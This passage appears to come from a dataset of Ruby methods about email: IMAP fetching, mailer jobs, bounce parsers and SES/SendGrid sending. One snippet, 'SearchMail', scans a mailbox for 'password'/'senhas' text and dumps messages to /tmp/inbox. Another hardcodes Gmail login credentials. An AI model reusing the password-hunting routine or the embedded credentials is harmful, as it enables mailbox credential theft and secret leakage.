imap.uid_store(uid, \"+FLAGS\", [Net::IMAP::DELETED]) if options[:delete_after_find]\n break unless options[:uid].nil?\n end\n imap.expunge if options[:delete_after_find]\n emails.size == 1 && options[:count] == 1 ? emails.first : emails\n end\n end\n end",
"def process_messages\n sleep 0.05\nend",
"def welcome_call_rescheduled\n UserMailer.welcome_call_rescheduled(WelcomeCall.where(available: false).take)\n end",
"def send_self_eval_invitations\n users = User.all.select{|u| \n u.has_current_registration && \n u.current_registration.participant && \n !u.faculty && \n !u.test && \n !u.current_registration.has_complete_eval\n }\n users.each do |u| \n if u.bounced_at \n Rails.logger.error(\"Found bounced email #{u.email} in sending self eval_reminder\")\n else\n begin\n RegistrationMailer.self_eval_invitation(u)\n puts(\"Succeed on #{u.email}\")\n rescue => e\n puts(\"Failed on #{u.email}\")\n Rails.logger.error(\"Send eval throws #{e}, skipping #{u.email}\")\n end\n end\n end\n end",
"def fetch_mail\n# \tp \"Fetching mail...\"\n \tconfig = { :host => 'imap.gmail.com', :port => 993, :username => 'CrowdAssistant', :password => 'CrowdAss'}\n \timap = Net::IMAP.new(config[:host], config[:port], true)\n \timap.login(config[:username], config[:password])\n \timap.select(\"INBOX\")\n \tmessages_to_archive = []\n \timap.search([\"NOT\", \"DELETED\"]).each do |message_id|\n \t\ttask = imap.fetch(message_id, 'BODY[TEXT]')[0].attr['BODY[TEXT]']\n \t\tmessage = imap.fetch(message_id, 'ENVELOPE')[0].attr['ENVELOPE']\n \t\tfrom = \"#{message.sender[0].mailbox}@#{message.sender[0].host}\"\n# p from\n \t\tu = User.find_by_email(from)\n# p u\n \t\tif u\n\t \t\t#Why does an empty resource and resourcetype fail?\n task = task.gsub(\"=\\r\\n\", \"\")\n\t \t\tt = Task.create(:user_id => u.id, :instructions => task, :fields => \"[{\\\"Reply\\\":\\\"t\\\"}]\", :priority => 2, :workflow => \"p\", :redundancy => 2, :resource => \"www.google.com\", :resourcetype => \"l\", :status=>\"Not Started\")\n\t \t\tAssistant.handle(t)\n\t \telse\n#\t \t\tp \"Whoops, some dude who hasn't signed up sent us an email\"\n\t \tend\n \t\tmessages_to_archive << message_id\n \tend\n \timap.store(messages_to_archive, \"+FLAGS\", [:Deleted]) unless messages_to_archive.empty?\n end",
"def find_valid_email(emails)\n emails.each do |email|\n process_email email\n end\nend",
"def send_emails\n self.attendees.distinct.each do |attendee|\n UpdatesMailer.updates_mail(attendee, self).deliver_now\n end\n end",
"def send_feedback_reminders_emails\n # Send the emails\n feedback_reminders.each do |fr|\n fr.send_feedback_reminder_email\n end\n\n # Shift the send_feedback_reminders_after date of\n # FEEDBACK_REMINDERS_INTERVAL seconds in the future\n self.send_feedback_reminders_after =\n Time.zone.today + FEEDBACK_REMINDERS_INTERVAL\n\n # Increment feedback_reminders_count\n self.feedback_reminders_count += 1\n\n # save the connection\n save\n end",
"def send_registration_summary\n #test_emails = [\"hanks@pobox.com\"]\n test_emails = nil\n rr = Registration.where(year: Year.this_year).reject{|r|r.faculty?} unless test_emails\n rr = rr.select{|r|test_emails.include?(r.email)} if test_emails\n rr.each do |r| \n u = r.user\n if u.bounced_at\n puts(\"Found bounced email #{u.email} in sending registration reminder\")\n else\n begin\n RegistrationMailer.registration_summary(r)\n puts(\"Succeeded on #{u.email}\")\n rescue => e\n puts(\"Failed on #{u.email} due to #{e}\")\n Rails.logger.error(\"Send registration reminder throws #{e}, skipping #{u.email}\")\n end\n end\n end\n end",
"def scan(mhead, mbody)\n match = 0\n match += 1 if mhead['subject'] == '[BOUNCE]'\n match += 1 if mhead['message-id'].to_s.include?('.JavaMail.')\n match += 1 if mhead['received'].any? { |a| a.include?('JAMES SMTP Server') }\n return nil unless match > 0\n\n dscontents = [Sisimai::Bite.DELIVERYSTATUS]\n hasdivided = mbody.split(\"\\n\")\n rfc822list = [] # (Array) Each line in message/rfc822 part string\n blanklines = 0 # (Integer) The number of blank lines\n readcursor = 0 # (Integer) Points the current cursor position\n recipients = 0 # (Integer) The number of 'Final-Recipient' header\n diagnostic = '' # (String) Alternative diagnostic message\n subjecttxt = nil # (String) Alternative Subject text\n gotmessage = -1 # (Integer) Flag for error message\n v = nil\n\n while e = hasdivided.shift do\n if readcursor == 0\n # Beginning of the bounce message or delivery status part\n if e.start_with?(StartingOf[:message][0])\n readcursor |= Indicators[:deliverystatus]\n next\n end\n end\n\n if (readcursor & Indicators[:'message-rfc822']) == 0\n # Beginning of the original message part\n if e.start_with?(StartingOf[:rfc822][0])\n readcursor |= Indicators[:'message-rfc822']\n next\n end\n end\n\n if readcursor & Indicators[:'message-rfc822'] > 0\n # After \"message/rfc822\"\n if e.empty?\n blanklines += 1\n break if blanklines > 1\n next\n end\n rfc822list << e\n else\n # Before \"message/rfc822\"\n next if (readcursor & Indicators[:deliverystatus]) == 0\n next if e.empty?\n\n # Message details:\n # Subject: Nyaaan\n # Sent date: Thu Apr 29 01:20:50 JST 2015\n # MAIL FROM: shironeko@example.jp\n # RCPT TO: kijitora@example.org\n # From: Neko <shironeko@example.jp>\n # To: kijitora@example.org\n # Size (in bytes): 1024\n # Number of lines: 64\n v = dscontents[-1]\n\n if cv = e.match(/\\A[ ][ ]RCPT[ ]TO:[ ]([^ ]+[@][^ ]+)\\z/)\n # RCPT TO: kijitora@example.org\n if v['recipient']\n # There are multiple recipient addresses in the message body.\n dscontents << Sisimai::Bite.DELIVERYSTATUS\n v = dscontents[-1]\n end\n v['recipient'] = cv[1]\n recipients += 1\n\n elsif cv = e.match(/\\A[ ][ ]Sent[ ]date:[ ](.+)\\z/)\n # Sent date: Thu Apr 29 01:20:50 JST 2015\n v['date'] = cv[1]\n\n elsif cv = e.match(/\\A[ ][ ]Subject:[ ](.+)\\z/)\n # Subject: Nyaaan\n subjecttxt = cv[1]\n else\n next if gotmessage == 1\n if v['diagnosis']\n # Get an error message text\n if e.start_with?('Message details:')\n # Message details:\n # Subject: nyaan\n # ...\n gotmessage = 1\n else\n # Append error message text like the followng:\n # Error message below:\n # 550 - Requested action not taken: no such user here\n v['diagnosis'] << ' ' << e\n end\n else\n # Error message below:\n # 550 - Requested action not taken: no such user here\n v['diagnosis'] = e if e == StartingOf[:error][0]\n end\n end\n end\n end\n return nil unless recipients > 0\n\n unless rfc822list.any? { |a| a.start_with?('Subject:') }\n # Set the value of subjecttxt as a Subject if there is no original\n # message in the bounce mail.\n rfc822list << ('Subject: ' << subjecttxt)\n end\n\n dscontents.each do |e|\n e['agent'] = self.smtpagent\n e['diagnosis'] = Sisimai::String.sweep(e['diagnosis'] || diagnostic)\n e.each_key { |a| e[a] ||= '' }\n end\n\n rfc822part = Sisimai::RFC5322.weedout(rfc822list)\n return { 'ds' => dscontents, 'rfc822' => rfc822part }\n end",
"def scan(&block)\n @processor = block if block\n incoming_config = config.incoming\n if incoming_config.nil?\n logger.error(\"Not scanning for incoming mail, since environment is '#{Kernel.environment}'\")\n return\n end\n\n say \"Starting scan at #{Time.now}\"\n c,e,n = nil,nil\n\n begin\n imap = Net::IMAP.new(incoming_config.server, incoming_config.port, true)\n imap.login(incoming_config.user, incoming_config.secret)\n imap.select('INBOX')\n messages = imap.search([\"NOT\", \"DELETED\"])\n n = messages.size\n c = e = 0\n messages.each do |message_id|\n received_message = nil\n rfc822 = imap.fetch(message_id, \"RFC822\")[0].attr[\"RFC822\"]\n begin\n received_message = receive(rfc822)\n say \"Processed message #{received_message.mail.subject}\"\n c += 1\n rescue Exception => exception\n # todo: move message into an \"error\" folder so it doesn't get reprocessed, but don't delete it\n report_exception(exception)\n say \"Error processing message #{message_id}: #{exception.class.name}: #{exception.message}\"\n e += 1\n ensure\n if received_message && received_message.delete?\n say \"Deleting message #{message_id}\"\n imap.store(message_id, \"+FLAGS\", [:Deleted])\n end\n end\n end\n\n imap.close # Sends a CLOSE command to close the currently selected mailbox. The CLOSE command permanently removes from the mailbox all messages that have the \\Deleted flag set.\n imap.logout\n imap.disconnect\n # NoResponseError and ByeResponseError happen often when imap'ing\n rescue Net::IMAP::NoResponseError, Net::IMAP::ByeResponseError, Errno::ENOTCONN\n # ignore\n rescue Exception => e\n report_exception(e)\n end\n say \"Processed #{c.inspect} of #{n.inspect} emails received (#{e} errors).\"\n end",
"def imap_readmail\n q = Queue.new\n imap.search([imap_search_for]).each do |message_id|\n msg = imap.fetch(message_id, 'RFC822')[0].attr['RFC822']\n mail = Mail.new(msg)\n case_id = get_case_id(mail)\n e = Email.create(case_id: case_id, date: mail.date, is_sent: false, raw: MailCompressor.compress_mail(msg), to: @email_account.user_name, from: mail.from[0].to_s, subject: mail.subject, body: mail.text_part.body.to_s)\n q.push(e)\n imap.store(message_id, '+FLAGS', [:Seen])\n end\n return q\n end",
"def start()\n \n unread = notifications()['UnreadMessage'].to_i\n\n @thread = Thread.new do\n loop do\n\n unread_messages = notifications()['UnreadMessage'].to_i\n\n if unread_messages > unread then\n\n @callback.call if @callback\n unread = unread_messages\n\n end\n\n sleep 3\n\n end\n end\n\n 'checking for new message every 3 seconds ...'\n\n end",
"def ping\n every(5) do\n send_ping\n end\n end",
"def sitter_request_remainder\n# puts \"puts remainder=====================\"\n jobs_to_send = Job.find(:all, :conditions => [\"date_from <= ? AND notification_sent IS NOT true\", 2.days.from_now])\n \n jobs_to_send.each do |j|\n unless j.parent_id.nil? || j.sitter_id.nil? || (j.status == 'cancelled')\n parent = Parent.find(j.parent_id)\n sitter = Sitter.find(j.sitter_id)\n \n if parent.profile.text_message\n #Notifications.deliver_parent_job_sms_reminder(parent, sitter, j) \n end\n \n if parent.profile.email\n Notifications.deliver_parent_job_reminder(parent, sitter, j)\n end\n \n if sitter.profile.text_message\n #Notifications.deliver_sitter_job_sms_reminder(parent, sitter, j)\n \n end\n \n if sitter.profile.email\n Notifications.deliver_sitter_job_reminder(parent, sitter, j)\n end\n \n j.notification_sent = true\n j.save\n end\n end\n \n end",
"def deliver_unsent_mails\n task = MailTasks::Task.find(params[:id], :conditions => ['disabled = ?', false])\n # task.update_attribute(:disabled, true) unless task.disabled? # lock\n task_in_background('mail_tasks:deliver_unsent_mails', :task_id => task.id)\n flash[:notice] = \"Delivering #{task.mails.count} mails, refresh this page minutes later.\"\n redirect_to :back\n end",
"def getEmails\n begin\n puts 'attempting to connect to ' + @username + '@gmail.com'\n Gmail.new(@username, @password) do |gmail|\n puts 'connection established'\n #use peek to make emails not be automatically marked as read\n gmail.peek = (@peek === 'true' ? true : false)\n\n if @label == \"none\"\n inbox = gmail.inbox\n boxname = 'inbox'\n else\n inbox = gmail.mailbox(@label)\n boxname = @label + ' box'\n end\n number_unread = inbox.count(:unread)\n if number_unread < 1\n abort(\"There are no new messages in the \" + boxname)\n end\n p \"there are \" + number_unread.to_s + \" unread emails in the \" + boxname\n inbox.emails(:unread).each do |email|\n puts parser(email)\n end\n end\n\n rescue Net::IMAP::NoResponseError\n puts 'connection failed, check your config file for incorrect credentials'\n puts 'perhaps you opted to use a label that doesn\\'t exist, try \"none\" instead'\n end\nend",
"def email_students\n date = params[:date][:send_email]\n reminder = params[:date][:reminder]\n #@emails = Survey.pluck(:student_email)\n @surveys = Survey.where.not(student_email: nil)\n\n if date == \"0\"\n delay = 0\n\n elsif date == \"1\"\n delay = Date.tomorrow.noon\n\n elsif date == \"2\"\n delay = 2.days.from_now.noon\n\n else\n delay = 1.week.from_now.noon\n end\n\n @surveys.each do |survey|\n #survey = Survey.find_by(student_email: email)\n section = Section.find_by(class_num: survey.class_num)\n if reminder == \"0\"\n StudentMailer.eval_email(survey, section).deliver_later(wait_until: delay)\n else\n StudentMailer.eval_reminder(survey, section).deliver_later(wait_until: delay)\n end\n\n end\n end",
"def send_stream_reminder_email(stream=nil)\n #if stream not specified, find the next one coming up\n if stream == nil\n stream = self.streamapi_streams.where([\"starts_at > ?\", Time.now]).order(\"starts_at ASC\").first\n if stream.nil?\n return false\n end\n end \n failed_users = Array.new\n permissions = self.live_stream_series_permissions\n count = 0\n for permission in permissions\n user = permission.user\n \n #make sure thay want email reminders\n if user.receive_email_reminders == true\n if Delayed::Job.enqueue(StreamReminderJob.new(user, stream), 0).nil?\n failed_users << user.email.to_s\n end \n count += 1\n end\n end\n if failed_users.size() > 0 && failed_users.size() < count\n return failed_users\n elsif failed_users.size() == 0 \n return true\n else\n return false\n end\n end",
"def process_emails(reader_info)\n notifications = reader_info.notifications\n notifications.each do |notification|\n case notification[:notification_type]\n when \"email\"\n send_email(reader_info) if notification[:checked]\n when \"internal\"\n send_internal(reader_info) if notification[:checked]\n when \"sms\"\n send_sms(reader_info) if notification[:checked]\n when \"e-boks\"\n send_e_boks(reader_info) if notification[:checked]\n end\n end\n end",
"def get_all_emails\n urls = get_all_the_urls_of_val_doise_townhalls\n emails = []\n\n urls.each do |url|\n emails << get_the_email_of_a_townhal_from_its_webpage(url)\n end\n\n emails\nend",
"def index\n @delayed_emails = @email_account.delayed_emails\n end",
"def deliver_reset_password_instructions!\n mail = false\n config = sorcery_config\n # hammering protection\n return false if config.reset_password_time_between_emails.present? && send(config.reset_password_email_sent_at_attribute_name) && send(config.reset_password_email_sent_at_attribute_name) > config.reset_password_time_between_emails.seconds.ago.utc\n\n self.class.sorcery_adapter.transaction do\n generate_reset_password_token!\n mail = send_reset_password_email! unless config.reset_password_mailer_disabled\n end\n mail\n end",
"def send_delay_email\n PatientMailer.appointment_delayed_email(patient,\n appointment_delayed_time).deliver_later\n end",
"def SearchMail(auth,rex=nil)\n if (auth)\n\t if (rex.nil?)\n re = %r{([pP]assword)|([sS]enhas?)}\n\t else\n\t re = Regexp.new(rex.to_s)\n\t end\n puts \" ==== #{auth.mails.length} messages === \"\n auth.mails.each_with_index do |msg,index|\n File.open(\"/tmp/inbox/#{index}\", 'w') do |output|\n puts \" === downloading... #{index} === \"\n puts \" === scan result: #{msg.pop.scan(re).nil?} === \"\n output.write msg.pop unless (msg.pop.scan(re).nil?)\n end\n end\n end\n auth.finish\n end",
"def run_schedule_works\n # TODO list\n puts \"send email\"\n user_list = User.includes(:goods_stores).where('goods_stores.goods_expire_date < ?', Time.now.strftime(\"%Y-%m-%d\")).references(:goods_stores)\n\n\n user_list.each{|user|\n if user.goods_stores.length == 0\n next\n end\n\n email_content = \"\"\n email_content += \"<h1>Alert! Some Item in Your Fridge were expired</h1>\"\n email_content += \"<p>Hello #{user.username}</p>\"\n email_content += \"<p>The following item in your fridge is expired</p>\"\n email_content += \"<ul>\"\n\n user.goods_stores.each{|goods|\n email_content += \"<li>food name: #{goods.goods_info.goods_name} food expire date: #{goods.goods_expire_date} fridge: #{goods.fridge.fridge_name}</li>\"\n }\n\n email_content += \"</ul>\"\n puts email_content\n\n from = Email.new(email: 'hiby.90hou@gmail.com')\n to = Email.new(email: user.email)\n subject = \"Alert! Some Item in Your Fridge were expired\"\n content = Content.new(type: 'text/html', value: email_content)\n mail = Mail.new(from, subject, to, content)\n\n sg = SendGrid::API.new(api_key: ENV['SENDGRID_API_KEY'])\n response = sg.client.mail._('send').post(request_body: mail.to_json)\n puts response.status_code\n puts response.body\n puts response.headers\n }\n\n end",
"def receive_inbound_email_from_mail(**kwargs, &block); end",
"def aws_ses_send_email(user,subject,html_body)\n begin\n #creates qouta object to find out the max_24_hour_send and already sent in sent_last_24_hours.\n getsendquota_obj = AWS_SES.quota\n max_24_hour_send_limit = getsendquota_obj.max_24_hour_send.to_i\n sent_last_24_hours = getsendquota_obj.sent_last_24_hours.to_i\n\n # How many e-mails you can send per second\n #getsendquota_obj.max_send_rate\n #calculate available_limit at this point of time\n available_limit = max_24_hour_send_limit - sent_last_24_hours\n\n #if available_limit is greater than 1 only send the mail else\n if available_limit >= 1 then\n res_aws = AWS_SES.send_email :to => user, :source => '\"LionSher\" <team@lionsher.com>', :subject => subject, :html_body => html_body\n return \"success\"\n else\n return \"Available Mail Limit Exceeded. Try later.\"\n end\n rescue AWS::SES::ResponseError => exception\n return exception\n end\n end",
"def run!\n loop do\n begin\n job = Job.new(get_apps)\n job.fetch_targets!\n post_messages!(job.to_hash)\n sleep(@interval)\n rescue Errno::ECONNREFUSED => ce\n puts \"\"\n sleep(@interval)\n end\n\n end\n end",
"def scan_hourly\n\n printf \"\\n%s\\n\", 'Scanning All-Users for Tasks ...'\n run_tasks_for_all_users(do_live_updates=@live_scan_updates)\n @scan_passes += 1\n printf \"%s\\n\", \"\\nPass #{@scan_passes} complete \\n\"\n\n printf \"%s\\n\", \"\\nWaiting 1 hour ... \\n\"\n sleep(60 * 60)\n\n if @scan_passes < @scan_passes_end\n printf \"%s\\n\", 'Repeating Scan'\n scan_hourly\n else\n printf \"%s\\n\", '... Exiting ...'\n end\n\nend",
"def check_for_sent_email(client_email, check)\r\n enqs = nil\r\n\r\n case check\r\n when 'currency'\r\n enqs = RawEnquiry.find(:all, :conditions => ['client_email = ? and currency_sent = ? and created_at >= ?', client_email, true, @one_month_ago], :order => 'id' )\r\n when 'mortgage'\r\n enqs = RawEnquiry.find(:all, :conditions => ['client_email = ? and mortgage_sent = ? and created_at >= ?', client_email, true, @one_month_ago], :order => 'id' )\r\n end\r\n\r\n @log.debug \"found #{enqs.size} matching #{check} emails for #{client_email}\"\r\n\r\n if enqs.size > 0\r\n return true\r\n else\r\n return false\r\n end\r\n end",
"def poll_every_n_seconds(send,n=1)\n\t\t\ttimer = Timers::Group.new\n\t\t\tevery_seconds = timer.every(n) { poll(send) }\n\t\t\tloop { timer.wait } \n\t\tend",
"def execute\n @imap = Net::IMAP.new(@imap_setting[:server], @imap_setting[:port])\n @imap.login(@imap_setting[:user], @imap_setting[:password])\n @imap.select(@imap_setting[:folder])\n \n #process all mail read email with test in subject for testing purpose. In reality it will process all emails\n query = imap_setting[:mode] == \"prod\" ? ['NOT', 'SEEN'] : ['SUBJECT', 'test']\n @imap.uid_search(query).each do |uid|\n catch(:continue) do\n mail = TMail::Mail.parse( imap.uid_fetch(uid, 'RFC822').first.attr['RFC822'] )\n from = mail.from\n to = mail.to\n bcc = mail.bcc\n cc = mail.cc\n subject = mail.subject\n msgid = mail.message_id \n date = mail.date\n ref_msgid = [mail.in_reply_to, mail.references].flatten.compact.join(\" \") \n \n #normalize all email addresses\n from.map! {|address| normalize_address(address) }\n to.map! {|address| normalize_address(address) }\n cc.map! {|address| normalize_address(address) } unless cc.is_nil?\n bcc.map! {|address| normalize_address(address) } unless bcc.is_nil?\n\n #find matching user\n user = nil\n user_email = from.find do |f|\n user = User.find_by_email(f.downcase)\n end\n \n if user\n logger.info \"processing email for #{user.username}\"\n if bcc.include?(@imap_setting[:email])\n #if from as user or asignee to as contact and we are in bcc it's outbound\n contacts = to.map do |t|\n #find contact by user or assigned to\n contact = Contact.find_by_email_and_user(t, user)\n if contact.nil?\n contact = Contact.find_by_email_and_assignee(t, user)\n end\n \n if contact.nil?\n #create contact, user is emailing a contact that's not in FFC\n logger.info \"new contact #{t}\"\n contact = Contact.new\n contact.user = user\n contact.email = t\n unless contact.save \n logger.warn \"could not save contact #{t}\"\n contact = nil\n end\n end\n contact\n end\n contacts.compact!\n \n #save mail\n from_list = from.join(\" \")\n to_list = to.join(\" \")\n cc_list = cc.join(\" \")\n bcc_list = bcc.join(\" \")\n body = mail.quoted_body\n save_email(from_list, to_list, subject, cc_list, bcc_list, body, msgid, ref_msgid, date, user, contacts)\n else\n #TODO if fowarded msg has from as user and to as contact it's inbound\n \n end\n \n else\n #unknown sender,this email is not supposed to be in drop box\n logger.warn \"mail from unknown user from: #{from} to: #{to} subject: #{subject}\"\n handle_processed_mail(uid) if @imap_setting[:mode] == \"prod\"\n end\n \n end\n \n end\n @imap.logout\n @imap.disconnect\n \n rescue Net::IMAP::NoResponseError => e\n logger.error \"IMAP server error\"\n rescue Net::IMAP::ByeResponseError => e\n logger.error \"IMAP server error\"\n rescue => e\n logger.error \"IMAP server error\"\n \n end",
"def deliver_email\n#puts \"**** deliver_email: emails=#{emails}\"\n emails = @contact_info.map {|c| c[:email]}.compact.uniq\n self.subject ||= 'Message from SIM Nigeria'\n id_for_reply = self.following_up || id # a follow-up message uses id of the original msg\n#puts \"**** Messages#deliver_email response_time_limit=#{response_time_limit}\"\n outgoing = Notifier.send_group_message(:recipients=>emails, :content=>self.body, \n :subject => subject, :id => id_for_reply , :response_time_limit => response_time_limit, \n :bcc => true, :following_up => following_up) # send using bcc:, not to:\nraise \"send_email with nil email produced\" if outgoing.nil?\n outgoing.deliver\n # Mark all as being sent, but only if they have an email address\n # This is terribly inefficient ... need to find a way to use a single SQL statement\n sent_messages.each do |sm| \n sm.update_attributes(:msg_status => MsgSentToGateway) if sm.member.primary_email\n end\n end",
"def perform(args = nil)\n Notification.notify(Notification::INFO, :subject_summary => \"Fax Fetcher\", :message => 'started')\n FaxSource.each do |source|\n add_periodic_timer(15.minutes) { source.retrieve! }\n Notification.notify(Notification::INFO, :subject_summary => \"Next retrieval of #{source.key.humanize.capitalize} faxes at #{60.minutes.from_now.in_time_zone(EST).strftime('%I:%M%p')}\", :message => '')\n end\n end",
"def send_an_email\r\n SendEmails.new(1)\r\n end",
"def run_once\n got_lock = @lock.acquire do\n min_committed_id = Redstream.connection_pool.with do |redis|\n offset_key_names = @consumer_names.map do |consumer_name|\n Redstream.offset_key_name(stream_name: @stream_name, consumer_name: consumer_name)\n end\n\n redis.mget(offset_key_names).map(&:to_s).reject(&:empty?).min\n end\n\n return sleep(@interval) unless min_committed_id\n\n loop do\n messages = Redstream.connection_pool.with do |redis|\n redis.xrange(Redstream.stream_key_name(@stream_name), \"-\", min_committed_id, count: 1_000)\n end\n\n return sleep(@interval) if messages.nil? || messages.empty?\n\n Redstream.connection_pool.with { |redis| redis.xdel Redstream.stream_key_name(@stream_name), messages.map(&:first) }\n\n @logger.debug \"Trimmed #{messages.size} messages from #{@stream_name}\"\n end\n end\n\n sleep(5) unless got_lock\n rescue StandardError => e\n @logger.error e\n\n sleep 5\n\n retry\n end",
"def perform\n User.find_each do |user|\n transfers =\n user.received_transfers.newest_first.pending\n .where('created_at <= ?', Time.zone.now - 3.days)\n next if transfers.empty?\n TransferMailer.pending_transfers(transfers, user).deliver_now\n end\n end",
"def call\n users_to_notify.uniq.each do |recipient|\n workflow_message_mailer(to: recipient).send(mailer_method).deliver_later\n end\n end",
"def scan(mhead, mbody)\n match = 0\n match += 1 if mhead['from'].include?('Postmaster@ezweb.ne.jp')\n match += 1 if mhead['from'].include?('Postmaster@au.com')\n match += 1 if mhead['subject'] == 'Mail System Error - Returned Mail'\n match += 1 if mhead['received'].any? { |a| a.include?('ezweb.ne.jp (EZweb Mail) with') }\n match += 1 if mhead['received'].any? { |a| a.include?('.au.com (') }\n if mhead['message-id']\n match += 1 if mhead['message-id'].end_with?('.ezweb.ne.jp>', '.au.com>')\n end\n return nil if match < 2\n\n dscontents = [Sisimai::Bite.DELIVERYSTATUS]\n hasdivided = mbody.split(\"\\n\")\n rfc822list = [] # (Array) Each line in message/rfc822 part string\n blanklines = 0 # (Integer) The number of blank lines\n readcursor = 0 # (Integer) Points the current cursor position\n recipients = 0 # (Integer) The number of 'Final-Recipient' header\n rxboundary = %r/\\A__SISIMAI_PSEUDO_BOUNDARY__\\z/\n v = nil\n\n if mhead['content-type']\n # Get the boundary string and set regular expression for matching with\n # the boundary string.\n b0 = Sisimai::MIME.boundary(mhead['content-type'], 1)\n rxboundary = Regexp.new('\\A' << Regexp.escape(b0) << '\\z') unless b0.empty?\n end\n rxmessages = []\n ReFailures.each_value { |a| rxmessages << a }\n\n while e = hasdivided.shift do\n if readcursor == 0\n # Beginning of the bounce message or delivery status part\n readcursor |= Indicators[:deliverystatus] if e =~ MarkingsOf[:message]\n end\n\n if (readcursor & Indicators[:'message-rfc822']) == 0\n # Beginning of the original message part\n if e =~ MarkingsOf[:rfc822] || e =~ rxboundary\n readcursor |= Indicators[:'message-rfc822']\n next\n end\n end\n\n if readcursor & Indicators[:'message-rfc822'] > 0\n # After \"message/rfc822\"\n if e.empty?\n blanklines += 1\n break if blanklines > 1\n next\n end\n rfc822list << e\n else\n # Before \"message/rfc822\"\n next if (readcursor & Indicators[:deliverystatus]) == 0\n next if e.empty?\n\n # The user(s) account is disabled.\n #\n # <***@ezweb.ne.jp>: 550 user unknown (in reply to RCPT TO command)\n #\n # -- OR --\n # Each of the following recipients was rejected by a remote\n # mail server.\n #\n # Recipient: <******@ezweb.ne.jp>\n # >>> RCPT TO:<******@ezweb.ne.jp>\n # <<< 550 <******@ezweb.ne.jp>: User unknown\n v = dscontents[-1]\n\n if cv = e.match(/\\A[<]([^ ]+[@][^ ]+)[>]\\z/) ||\n e.match(/\\A[<]([^ ]+[@][^ ]+)[>]:?(.*)\\z/) ||\n e.match(/\\A[ \\t]+Recipient: [<]([^ ]+[@][^ ]+)[>]/)\n\n if v['recipient']\n # There are multiple recipient addresses in the message body.\n dscontents << Sisimai::Bite.DELIVERYSTATUS\n v = dscontents[-1]\n end\n\n r = Sisimai::Address.s3s4(cv[1])\n if Sisimai::RFC5322.is_emailaddress(r)\n v['recipient'] = r\n recipients += 1\n end\n\n elsif cv = e.match(/\\AStatus:[ ]*(\\d[.]\\d+[.]\\d+)/)\n # Status: 5.1.1\n # Status:5.2.0\n # Status: 5.1.0 (permanent failure)\n v['status'] = cv[1]\n\n elsif cv = e.match(/\\AAction:[ ]*(.+)\\z/)\n # Action: failed\n v['action'] = cv[1].downcase\n\n elsif cv = e.match(/\\ARemote-MTA:[ ]*(?:DNS|dns);[ ]*(.+)\\z/)\n # Remote-MTA: DNS; mx.example.jp\n v['rhost'] = cv[1].downcase\n\n elsif cv = e.match(/\\ALast-Attempt-Date:[ ]*(.+)\\z/)\n # Last-Attempt-Date: Fri, 14 Feb 2014 12:30:08 -0500\n v['date'] = cv[1]\n else\n next if Sisimai::String.is_8bit(e)\n if cv = e.match(/\\A[ \\t]+[>]{3}[ \\t]+([A-Z]{4})/)\n # >>> RCPT TO:<******@ezweb.ne.jp>\n v['command'] = cv[1]\n else\n # Check error message\n if rxmessages.any? { |a| e =~ a }\n # Check with regular expressions of each error\n v['diagnosis'] ||= ''\n v['diagnosis'] << ' ' << e\n else\n # >>> 550\n v['alterrors'] ||= ''\n v['alterrors'] << ' ' << e\n end\n end\n end\n end\n end\n return nil unless recipients > 0\n\n dscontents.each do |e|\n unless e['alterrors'].to_s.empty?\n # Copy alternative error message\n e['diagnosis'] ||= e['alterrors']\n if e['diagnosis'].start_with?('-') || e['diagnosis'].end_with?('__')\n # Override the value of diagnostic code message\n e['diagnosis'] = e['alterrors'] unless e['alterrors'].empty?\n end\n e.delete('alterrors')\n end\n e['diagnosis'] = Sisimai::String.sweep(e['diagnosis'])\n\n if mhead['x-spasign'].to_s == 'NG'\n # Content-Type: text/plain; ..., X-SPASIGN: NG (spamghetti, au by EZweb)\n # Filtered recipient returns message that include 'X-SPASIGN' header\n e['reason'] = 'filtered'\n else\n if e['command'] == 'RCPT'\n # set \"userunknown\" when the remote server rejected after RCPT\n # command.\n e['reason'] = 'userunknown'\n else\n # SMTP command is not RCPT\n catch :SESSION do\n ReFailures.each_key do |r|\n # Verify each regular expression of session errors\n ReFailures[r].each do |rr|\n # Check each regular expression\n next unless e['diagnosis'] =~ rr\n e['reason'] = r.to_s\n throw :SESSION\n end\n end\n end\n\n end\n end\n\n unless e['reason']\n # The value of \"reason\" is not set yet.\n # Deal as \"userunknown\" when the domain part of the recipient\n # is \"ezweb.ne.jp\".\n e['reason'] = 'userunknown' unless e['recipient'].end_with?('@ezweb.ne.jp', '@au.com')\n end\n e['agent'] = self.smtpagent\n end\n\n rfc822part = Sisimai::RFC5322.weedout(rfc822list)\n return { 'ds' => dscontents, 'rfc822' => rfc822part }\n end",
"def perform!\n run_callbacks(:before_perform, self)\n self.class.upcoming_mailings\n .in_batches(of: self.class.batch_size)\n .each do |batch|\n run_callbacks(:on_perform, self, batch)\n batch.each(&:process!)\n end\n run_callbacks(:after_perform, self)\n nil\n end",
"def deliver_reset_password_instructions!\n mail = false\n config = sorcery_config\n # hammering protection\n if config.reset_password_time_between_emails.present? && send(config.reset_password_email_sent_at_attr_name) && send(config.reset_password_email_sent_at_attr_name) > config.reset_password_time_between_emails.seconds.ago.utc\n return false\n end\n\n self.class.sorcery_adapter.transaction do\n generate_reset_password_token!\n unless config.reset_password_mailer_disabled\n mail = send_reset_password_email!\n end\n end\n mail\n end",
"def perform\n current_time = Time.now\n packages = find_packages(city_db_id)\n emails = find_emails(city_db_id)\n\n ## Create list of recipients as array of strings\n recipients = []\n emails.each do |email|\n recipients << email.email_value\n end\n\n Emailer.packages_notification(current_time,packages,recipients).deliver\n end",
"def send_emails(contacts)\n @valid_emails = contacts.select { |e| e =~ Devise.email_regexp }\n @bad_emails = contacts - @valid_emails\n current_user.increase_invites_count!(@valid_emails.count)\n @valid_emails.each do |email|\n EmailInvite.transaction do\n invite = EmailInvite.create(:from_user_id => current_user.id, :email => email)\n InviteEmail.invite(email, params[:message], current_user, invite.token).deliver\n end\n end\n end",
"def send_all_invitations\n uu = User.all.reject{|u| u.bounced_at || u.test || u.email =~ /musicalretreat.org/ || u.has_current_registration}\n Rails.logger.info(\"Going to send #{uu.size} invitations\")\n uu.each do |u|\n begin\n RegistrationMailer.invitation(u)\n Rails.logger.info(\"Successfully sent to #{u.email}\")\n rescue StandardError => e\n Rails.logger.error(\"Failed to send to #{u.email} due to #{e}\")\n end\n end\n end",
"def perform(participant_id, split_time_ids)\n live_effort_mail_data = LiveEffortMailData.new(participant_id, split_time_ids)\n live_effort_mail_data.followers.each do |follower|\n FollowerMailer.live_effort_email(follower, live_effort_mail_data.effort_data).deliver_later\n end\n end",
